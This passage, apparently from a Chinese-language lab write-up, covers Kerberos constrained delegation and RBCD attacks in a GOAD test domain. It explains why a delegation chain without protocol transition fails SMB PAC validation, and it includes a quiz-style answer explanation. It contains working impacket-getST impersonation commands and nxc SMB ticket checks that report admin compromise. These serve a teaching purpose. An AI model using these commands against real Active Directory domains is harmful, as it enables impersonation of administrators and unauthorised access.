└── 簽章(由 KDC 簽發)
票證產生方式與 PAC 完整性:
使用者 → KDC(請求 TGT)
↓
KDC 查詢 AD → 產生完整的 PAC
↓
票證包含完整的使用者授權資訊
↓
目標服務驗證 PAC → 接受 ✓
實驗中 jon.snow 的攻擊成功:
impacket-getST \
-spn 'CIFS/winterfell.north.sevenkingdoms.local' \
-impersonate Administrator \
north.sevenkingdoms.local/jon.snow:iknownothing
# ✓ 產生包含完整 PAC 的票證
# ✓ SMB 服務接受
rbcd_const$ → CASTELBLACK$ → WINTERFELL
↓ ↓ ↓
第一次委派 第二次委派 最終目標
↓ ↓ ↓
PAC 完整 PAC 可能不完整 PAC 驗證失敗
實驗中 CASTELBLACK$ 的攻擊失敗:
步驟 1: RBCD 攻擊產生票證
rbcd_const$ → Administrator@CASTELBLACK
✓ 票證產生成功
步驟 2: 使用該票證執行 S4U2Proxy
CASTELBLACK$ → Administrator@WINTERFELL
✓ 票證產生成功(Kerberos 層面)
步驟 3: 使用票證存取 SMB
✗ STATUS_MORE_PROCESSING_REQUIRED
原因:PAC 不完整或缺少關鍵授權資訊
Windows SMB 服務的額外驗證:
現代 Windows SMB 服務不僅驗證票證的 Kerberos 有效性,還會:
def verify_smb_access(ticket):
# 1. Kerberos 層面驗證
if not verify_kerberos_signature(ticket):
return False
# 2. PAC 驗證
if not verify_pac_signature(ticket):
return False
# 3. PAC 完整性檢查
if not pac_contains_required_fields(ticket):
return "STATUS_MORE_PROCESSING_REQUIRED" # ← 實驗中的錯誤
# 4. 授權檢查
if not user_has_permission(ticket.pac):
return False
return True
對比測試的結果:
# 測試 1:有協定轉換(jon.snow)
export KRB5CCNAME=Administrator@CIFS_winterfell...ccache
nxc smb winterfell.north.sevenkingdoms.local --use-kcache
# 結果:✓ [+] north.sevenkingdoms.local\Administrator from ccache (Pwn3d!)
# 測試 2:無協定轉換(CASTELBLACK$ 委派鏈)
export KRB5CCNAME=Administrator@cifs_winterfell...ccache
nxc smb winterfell.north.sevenkingdoms.local --use-kcache
# 結果:✗ [-] STATUS_MORE_PROCESSING_REQUIRED
為什麼其他選項錯誤:
A 錯誤:加密演算法不是問題。實驗中票證使用的是標準的 AES256-CTS-HMAC-SHA1-96 或 RC4-HMAC,都被 Windows 支援。而且 klist
顯示票證格式正確。
C 錯誤:Kerberos 票證不記錄客戶端 IP 位址。票證是基於時間和密碼學簽章的,不依賴網路位址。
D 錯誤:票證沒有過期。從 klist
輸出可以看到票證在有效期內:
Valid starting Expires Service principal
10/02/2025 07:58:51 10/02/2025 17:58:51 cifs/winterfell...
深度防禦的價值:
這個限制實際上是 Windows 安全機制的成功:
這展示了深度防禦的重要性 - 即使攻擊者繞過了一層防護(Kerberos 協定),仍然可能在應用層被阻擋。
實戰啟示:
在真實的紅隊演練中:
替代攻擊路徑:
當無協定轉換的委派攻擊受限時,可以考慮:
今天我們深入探討了 Kerberos 委派攻擊的進階技術,從約束委派到 RBCD,從有協定轉換到無協定轉換,每一種攻擊都展示了 Active Directory 委派機制的複雜性與潛在風險。
關鍵收穫: